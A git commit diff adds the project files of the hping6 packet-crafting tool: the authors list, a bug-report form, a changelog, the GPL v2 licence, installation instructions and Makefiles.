commit 906782e134452cf0f8a1c98477b4284b6818446d Author: Alex Date: Wed Apr 13 18:01:39 2022 +0800 first draft diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..0687d66 --- /dev/null +++ b/AUTHORS @@ -0,0 +1,47 @@ +Lead developer and maintainer: + + Salvatore Sanfilippo + +Regular contributors: + + Nicolas Jombart + Denis Ducamp + Yann Berthier + Stephane Aubert + +Other contributors: + + Brieuc Jeunhomme + Mika + Alfonso De Gregorio + Francesco Potorti` + Daniel Ginsburg + Steve Bleazard + + +Also thanks to the following people for testing, bug reports, ideas, +minor patches, documentation fixes: + + Valeriano Bedeschi + Lorenzo Cavallaro + awgn roofing + Darren Reed + Lance Spitzner + Stefano Brandimarte + "roy kozzer" + Jason Lunz + Domenico Andreoli + Gian-Luca Dei Rossi + Marco D'Itri + Rui Miguel Barbosa Machado + David Bar + David Coppa + Shachar Shemesh + Brieuc Jeunhomme + Hans-Joachim Knobloch + +IPv6 support, regulated flood mode: + Matyas Koszik + +-------------------------------------------------------------------------------- +Note: if you aren't in this list for an oversight, please inform me. diff --git a/BUGS b/BUGS new file mode 100644 index 0000000..7bc296c --- /dev/null +++ b/BUGS @@ -0,0 +1,28 @@ +------------------------------------------- +Please, use this form to report hping6 bugs +------------------------------------------- + +send it to + +You should include: + +* The output of "hping --version" +* The output of the command "uname -a" +* The problem description +* The command line used to produce the problem (if possible) +* The output of the command line that produces the problem with + the additional --debug switch. +* A tcpdump trace of the packets, run tcpdump with -s 200 -x + +The subject should start with [HPING BUG] followed by +a short description or none. Example: + +[HPING BUG] the lookback interface does not work on solaris + +If you can, before to report a problem, download the developing +version of hping using the CVS (see the istructions at +http://www.hping.org/download.html) and try it, maybe we already +fixed the problem in the CVS version. + +Also read the BUGS section of the manual page to see if +the bug is a known one. diff --git a/CHANGES b/CHANGES new file mode 100644 index 0000000..8f2a17c --- /dev/null +++ b/CHANGES @@ -0,0 +1,279 @@ +CHANGES LOG +$Id: CHANGES,v 1.33 2004/03/10 12:11:51 njombart Exp $ + +Authors name abbreviation + +AZ Salvatore Sanfilippo 'antirez' +FX Alfonso De Gregorio 'fhex' +MK Mika +SA Stephane Aubert +NJ Nicolas Jombart +DD Denis Ducamp +FP Francesco Potorti` +YB Yann Berthier +BJ Brieuc Jeunhomme +HK Hans-Joachim Knobloch +MM Minor contributor, see the change description for credits. +?? If you edit this file put yourself here + +AZ is the default if not specified. + +======================================================= +In order to find bugs fixed search the keyword 'FIX:' +for new supports and features search the keyword 'ADD:' +======================================================= + +TO FIX before ??: +* The problem with --rroute and the IP header length field on SunOS, + thanks to Graeme Hewson for reporting it. + +MM FIX: Fix for interface guessing with aliases on BSD + Thanks and +MM FIX: fixed cksum.c. Bad outgoing packet checksum with some packet. + Thanks to Brett Eldridge . +AZ ADD: scan mode (--scan) +AZ ADD: A rc4-based PRNG to use with --rand-source and --rand-dest +NJ FIX: Fix -I option for BSD/Apple +NJ ADD: Add support for BSDI and MacOSX (thanks + Dennis Opacki and Jan-Hinrich Fessel + ) +HK ADD: A few useful ICMP options +NJ ADD: Add support for : + WLAN (Fabian Melzow ) + ATM (Debian bug #193436, thanks to Domenico Andreoli) + Token Ring (jim.r.halfpenny@britishairways.com) +NJ ADD: MacOSX patches (Hans-Joachim Knobloch ) +NJ FIX: --rand-source patches from Quentin Garnier + . ensure randomness + . do not stop on errors when using a E or D class address (BSD only?) + +20 Nov 2002 -- 2.0.0 stable -- candidate release 2 +--------------------------------------------------------------------------- + +NJ FIX: The bug about port number printing in TCP mode than YB discovered. +NJ ADD: MTU value sanity check in option parsing. +NJ FIX: Fix the use of -W option +NJ ADD: strLcpy() function taken from OpenBSD +NJ FIX: Fix a bug when using BSD and a PPP link as a default route + Move code from routing sockets to get_output_if function. +BJ FIX/ADD: source routing and random bugfixes. Thanks BJ! +AZ ADD: --rand-source for random source addresses. +AZ FIX: all the atoi() call was replaced with strto[u]l(). +MM FIX: seq/ack setting using strtoul() instead of atoi(), thanks + to Shachar Shemesh . +AZ ADD: --rand-dest for random destination addresses + manpage update. +AZ FIX/ADD: Major code rewrite. +AZ FIX: DF added to the icmp and udp output. +AZ FIX: --port ++ fixed with UDP and enhanced for TCP/UDP. Now the + packets matches only with a sport that is: + >= base_dest_port AND <= current_dest_port. + Thanks to David Bar for the original + report. + +15 Aug 2001 -- 2.0.0 stable -- candidate release 1 +--------------------------------------------------------------------------- + +AZ FIX: --fast now really sends 10packets/second, not 100. Thanks + to DD for the report. +AZ FIX: bzero/bcopy replaced with the sane memset/memcpy. +DG ADD: Solaris port, with the help of the patch contributed by + Steve Bleazard +AZ ADD: Changed a bit the format (flags=S is now ) and add the string + DF if the don't fragment bit is on. +AZ FIX: waitpacket.c to take the data aligned. Now hping seems to + work without problems on linux/sparc. +AZ FIX: getifname.c, now even the linux version behaves better locking + for the interface address of the outgoing interface according + to the kernel routing table. getdefaultif.c removed, no loger used. +AZ FIX --tr-stop enhanced (now really exit when an expected packet that + was not an ICMP time exceeded was received) +AZ FIX: --stop-tr is now --tr-stop. All the traceroute mode options + starts with --tr. +AZ ADD: --tr-no-rtt to turn off RTT information in traceroute mode. + Thanks to Denis Ducamp for the idea. +AZ FIX: Now provide traceroute RTT information even with ICMP. +AZ ADD: --stop-tr stops hping in traceroute mode once the first non + ICMP packet is received. Thanks to Denis Ducamp for the idea. +AZ ADD: ICMP subnet address mask support. Not tested. +AZ ADD: TCP timestamp support with HZ and uptime guessing (--tcp-timestamp) +AZ ADD: ICMP timestamp support (--icmptype 13) +AZ FIX: Fixed getlhs.c under BSD to get the header length from the like type. +YB NH AZ FIX: ICMP ID handling on systems with 32 bit pids. +DD ADD: Man page update (not french one!) +AZ ADD: --traceroute now prints RTT information. +AZ ADD: --traceroute now implies --ttl 1 if no --ttl option is specified. +AZ ADD: --fast option that is an alias for -u i10000 (10 packets at second) +MM ADD: ets.* interface (thanks to Stefano Brandimarte.) +AZ FIX: compilation problem (NULL used without including stdlib.h in getusec.c) +AZ FIX: -H switch (alternative to --protoip) thanks to + "roy kozzer" +MM FIX: Man page grammatical mistakes, thanks to Jason Lunz , + I applied the patch by hand, so maybe some mistake is still inside. +FP FIX: fixed rtt/sequence number handling, now hping6 can run for hours + keeping the right rtt calculation. Some sentence from the original + Francesco's email: + +I am using it to make long measurements of the response times of http +servers around the world, so hping6 keeps running for days. In fact, it +is apparently impossible to use hping6 this way, as the sequence number +wraps around (and this may be okay, in principle) and the program goes +astray. + +Precisely, the delay measurements are set to 0 after the wrap around. +Since hping6 is written so cleanly (thanks), I was able to quickly +correct the problem: +(strange, I think hping6 is very hugly code... I wrote it with + too little coding experience) + +BTW now the issue is fixed, MANY thanks to Francesco Portori'. + +DD FIX: -seqnum (endianess IIRC) fixed. +DD FIX: Random fix to manpage and code. +NJ FIX/ADD: BSD network interfaces related code. +DD ADD: French translation of the hping documentation, under docs/french/ + +6 July 2000 -- 2.0.0 beta54, raw IP mode, bug fixing, NetBSD support, ... +--------------------------------------------------------------------------- + +Solaris support still not present, a patch was provided by +Lorenzo Lazzieri but I did not have a solaris box to perform +some test, give me some solarix 2.[67] root account if you +need hping6 ported to solaris. Sorry, but my sparc S4 died +not long ago. + +FIX: the stupid nop.c no longer exist. +FIX: tcp sequence number and ack visualization bug for lacks of ntohl()! +FIX: minor coding bugs fixed, minor code cleanup +FIX: man pages path now is obtained from MANPATH +FIX: new *BSD ethernet under getlhs.c +ADD: NetBSD support (thanks to Yann Berthier) +ADD: settable checksum +ADD: now TCP sequence number and ack are settable. +SA ADD: bad checksum option (-b --badcksum). +ADD: settable fragment offset. +ADD: raw IP mode. +ADD: out of sequence packets counter (only with -r option). +ADD: documentation updated and a bit improved. + +20 Nov 1999 -- 2.0.0 beta 53, important bug fixed +------------------------------------------------- + +Contrary to my hope this beta go out without Solaris support nor deep +testing under BSD systems. This because beta-53 FIX: some important bugs +so I think it's better to release it as soon as possible. I hope that +beta-54 will be more tested under BSD and will contain a first Solaris +support. Please, send me bug report/suggestions first beta-54 release, AZ + +AZ ADD: man page updated. +AZ FIX: a very dirty bug introduced in hping6-beta49, it was in waitpacket.c, + all offset was computed using the ip header length of the last packet, and + for the first incoming packet using uninitialized bytes. I suggest you + upgrade ASAP. +AZ ADD: enhanced configure and Makefile. Now "./configure; make" should + be enough at least under Linux, FreeBSD and OpenBSD. configure has options, + try ./configure --help. Also FIX: a `make clean' issue. +AZ FIX: a bug in rtt.c, in some circumstance it returned a negative rtt, + also ADD: an initial sanity check for faster problem tracing in rtt.c. + Now sent packets are registered into 'delay table' *before* of sending, I + think this isn't the better way to do a good timing, but since original ping + program use this way and it avoids some problem hping now use this solution. +AZ FIX: parseoptions.c, some parser fix and more limits for non root users. +AZ ADD: better hgetopt.c, now it's possible to combine short options like + -S -F etc in -SF. The same kind of bug seems still unfixed in gcc and ssh. +AZ if_promisc.c no longer compiled/linked since it isn't used by hping6. + I leave this file here for possible future new features. It will be needed + only for Linux since to set promiscuous mode with libpcap it is not useful. +AZ ADD:/FIX: getlhs.c updated, now system dependent, BSD ethernet names + updated thx to Rui Miguel Barbosa Machado , + FIX: BSD PPP link header size (I hope). Please send me a mail if you + successfully run hping6 under PPP interface on BSD. +AZ ADD: new `utils' directory added and the simple utility hex2bin +AZ ADD: distribution enhanced, CHANGES was extracted from TODO, MIRRORS contain + a mirrors list, BUGS the bug report form, others files added. + +16 Nov 1999 -- 2.0.0 beta 52, first public 2.0.0 +------------------------------------------------- + +AZ add W option for windoze byte ordering +AZ clearest var names +AZ fix incoming packet size computing +AZ add -V verbose mode +AZ add -D debug mode +AZ add support for 2.2.x kernel PF_PACKET socket +AZ fix (null) hostname problem +AZ add usec interval support for -i option +AZ fix -q option +AZ add -y (don't fragment) option +AZ better checksum algorithm from R. Stevens +AZ better icmp logging +AZ add capability of sending data besides header (-d) +AZ add fragmentation capability even with -d option +AZ add ICMP support +AZ get default routing interface from /proc +AZ add -k (keep still source port) option +AZ add UDP support +AZ all #define revisited for more cleanness +AZ recvto() incoming packet max size fixed +AZ data from file option +AZ hex dump of incoming packets +AZ incoming packets content dump (only printable) +AZ packet sign +AZ hgetopt.c, rewrite parse_options using hgetopt() +AZ GNU style options support +AZ target host argument recognized in any positions +AZ broadcast support, waittcp.c must be update (not for ICMP) +AZ fix some problem in hgetopt.c +AZ portability increased a bit +AZ byteorder.c, add ./configure, just for byte ordering check +AZ -9 | --listen listen mode for file transfers +AZ settable packets id +AZ fixed some problem in hgetopt.c/parseoption.c, assert() removed +AZ when suid don't allows a lot of options if uid != euid +AZ experimental traceroute mode (-T | --traceroute) +AZ HCMP (hping control message protocol) initial devel +AZ better HCMP support for safe protocol 'semi' implemented +AZ main.c clearness improved and reorder. +AZ HCMP for safe protocol works +AZ fix a bug when fragmentations is active (introduced with --id) +AZ settable tos, more than one --tos are ORed. +AZ strong code cleanup, three new files: rtt.c, relid.c, sendip_handler.c +AZ more portable includes, a bit more portable getifname.c +AZ enhanced ICMP support: rtt, (DUP), id. +AZ better ./configure and libpcap support predisposed. +AZ add round-trip min/avg/max statistics. +AZ get interface mtu, tunable fragments size, auto-activate + fragmentation if packet size > mtu +AZ --destport enhanced, now --destport +23 inc dest port + for each packet sent starting from 23. +AZ add libpcap support, Makefile and some .c updated +AZ fixed a bug introduced enhancing --destport option. +AZ if_mtu var name collision in BSD fixed, now h_if_mtu. +AZ better signal handling and minor internal changes. +FX save/restore errno in signal handlers. +FX add memory protection functions mem*.c in order to + prevent swap of sensitive memory areas. +AZ disable memory paging when --sign, --file, --listen used. +AZ Option -c wait after sending last packet +AZ ported on OpenBSD 2.3 (tested also on OpenBSD 2.5) +AZ enhanced ICMP support, now send type 8,0,3,4,5,11 +AZ --traceroute default bind ttl to ctrl+z +MK Now waitpacket() handle ip options +MK Record route option support, and update IP related + functions to handle options. Also add ip_opt_build.c + and display_ipopt.c (ripped from ping) +AZ some bug fixed +AZ --tcpexitcode option that exit with last tcp->th_flags +AZ datafiller.c bug fix +AZ add -p ++port, as -p +port but that increments the destination + port even if no replies are received. +AZ fix getifname.c big problems with OpenBSD: it works only + for certain interface (now *seems* fixed) +AZ portable sendip.c raw socket ip fields byte ordering (N.B. + Linux and OpenBSD has all ip field in network byte order + so you may add right defines if you port hping6 to other OSs) +AZ compiles/works under FreeBSD 3.3 + +17 Dec 1998 -- 0.67 release +--------------------------- + +AZ add -a option diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..a0b0897 --- /dev/null +++ b/COPYING @@ -0,0 +1,351 @@ +hping6 is free software. It comes under GPL version 2, +except for the following: + +display_ipopt.c : from ping, BSD style license +libpcap library : BSD style license + +for more information see the upper part of this files. + +WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others. + +hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo. + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 675 Mass Ave, Cambridge, MA 02139, USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + Appendix: How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 19yy + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) 19yy name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/INSTALL b/INSTALL new file mode 100644 index 0000000..d1ad04f --- /dev/null +++ b/INSTALL @@ -0,0 +1,70 @@ +You can compile hping6 at least under: + +Linux +OpenBSD +FreeBSD +NetBSD +Solaris + +With Linux you don't need any libs, nor to be root, +however you need uid 0 to run hping. + +Linux +----- + +please, follows this steps: + +$ ./configure (first try ./configure --help) +$ vi Makefile (optional) +$ make +$ su +# make install + +FreeBSD, OpenBSD, NetBSD +------------------------ + +You will need the libpcap and the gmake utility installed on your system. + +$ ./configure +$ gmake +$ su (or calife) +# gmake install + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +NOTE: You should take care about your net/bpf.h file installing on + BSD systems (specially with OpenBSD). If your original bpf.h was + overwritten with the libpcap one probably hping will not work + with over some interface. + + For example if you use the libpcap bpf.h on OpenBSD hping will + not work over PPP interfaces. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Solaris +------- + +$ export CC="gcc" +$ ./configure +$ gmake +$ su +# gmake install + +ALL +--- + +If you need to run hping6 by your normal +account (i.e. antirez) try the following commands: + +# chown root:antirez /usr/sbin/hping6 +# chmod 4750 /usr/sbin/hping6 + + WARNING: hping6 is not trusted code, i didn't + audit for hidden buffers overflow and others + security related problems. However if (as default) + LIMITWHENSUID is defined if euid != uid + it's not possible to use a lot of options + trivially unsafe. + + suid it at root is not encouraged. + +antirez diff --git a/KNOWN-BUGS b/KNOWN-BUGS new file mode 100644 index 0000000..43a1a8b --- /dev/null +++ b/KNOWN-BUGS @@ -0,0 +1 @@ +See the BUGS manual section. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..b0d6c16 --- /dev/null +++ b/Makefile @@ -0,0 +1,77 @@ +# $smu-mark$ +# $name: Makefile.in$ +# $author: Salvatore Sanfilippo 'antirez'$ +# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ +# $license: This software is under GPL version 2 of license$ +# $date: Sun Jul 25 17:56:15 MET DST 1999$ +# $rev: 3$ + +CC= gcc +AR=/usr/bin/ar +RANLIB=/usr/bin/ranlib +CCOPT= -O2 -Wall +DEBUG= -g +#uncomment the following if you need libpcap based build under linux +#(not raccomanded) +COMPILE_TIME= +INSTALL_MANPATH=/usr/local/man + + +OBJ= main.o getifname.o getlhs.o \ + linux_sockpacket.o parseoptions.o datafiller.o \ + datahandler.o gethostname.o \ + binding.o getusec.o opensockraw.o \ + logicmp.o waitpacket.o resolve.o \ + sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \ + sendtcp.o cksum.o statistics.o \ + usage.o version.o antigetopt.o \ + sockopt.o listen.o \ + sendhcmp.o memstr.o rtt.o \ + relid.o sendip_handler.o \ + libpcap_stuff.o memlockall.o memunlockall.o \ + memlock.o memunlock.o ip_opt_build.o \ + display_ipopt.o sendrawip.o signal.o send.o \ + strlcpy.o arsglue.o random.o random6.o scan.o \ + hstring.o libars.a + +ARSOBJ = ars.o apd.o split.o + +all: hping6 + +libars.a: $(ARSOBJ) + $(AR) rc $@ $^ + $(RANLIB) $@ + +hping6: byteorder.h $(OBJ) + $(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP) + @echo + ./hping6 -v + @echo "use \`make strip' to strip hping6 binary" + @echo "use \`make install' to install hping6" + +byteorder.h: + ./configure + +.c.o: + $(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $< + +clean: + rm -rf hping6 *.o *.a + -(cd utils; $(MAKE) clean) + +distclean: + rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile + -(cd utils; $(MAKE) clean) + +install: hping6 + mkdir -p ${prefix}/sbin/ + cp -f hping6 ${prefix}/sbin/ + chmod 755 ${prefix}/sbin/hping6 + @if [ -f ${prefix}/sbin/hping2 ]; then \ + rm ${prefix}/sbin/hping2; \ + fi + +strip: hping6 + @ls -l ./hping6 + strip hping6 + @ls -l ./hping6 diff --git a/Makefile.in b/Makefile.in new file mode 100644 index 0000000..4ebe335 --- /dev/null +++ b/Makefile.in @@ -0,0 +1,77 @@ +# $smu-mark$ +# $name: Makefile.in$ +# $author: Salvatore Sanfilippo 'antirez'$ +# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ +# $license: This software is under GPL version 2 of license$ +# $date: Sun Jul 25 17:56:15 MET DST 1999$ +# $rev: 3$ + +CC= gcc +AR=/usr/bin/ar +RANLIB=/usr/bin/ranlib +CCOPT= -O2 -Wall @PCAP_INCLUDE@ +DEBUG= -g +#uncomment the following if you need libpcap based build under linux +#(not raccomanded) +COMPILE_TIME= @FORCE_LIBPCAP@ +INSTALL_MANPATH=@MANPATH@ +@PCAP@ + +OBJ= main.o getifname.o getlhs.o \ + linux_sockpacket.o parseoptions.o datafiller.o \ + datahandler.o gethostname.o \ + binding.o getusec.o opensockraw.o \ + logicmp.o waitpacket.o resolve.o \ + sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \ + sendtcp.o cksum.o statistics.o \ + usage.o version.o antigetopt.o \ + sockopt.o listen.o \ + sendhcmp.o memstr.o rtt.o \ + relid.o sendip_handler.o \ + libpcap_stuff.o memlockall.o memunlockall.o \ + memlock.o memunlock.o ip_opt_build.o \ + display_ipopt.o sendrawip.o signal.o send.o \ + strlcpy.o arsglue.o random.o random6.o scan.o \ + hstring.o libars.a + +ARSOBJ = ars.o apd.o split.o + +all: hping6 + 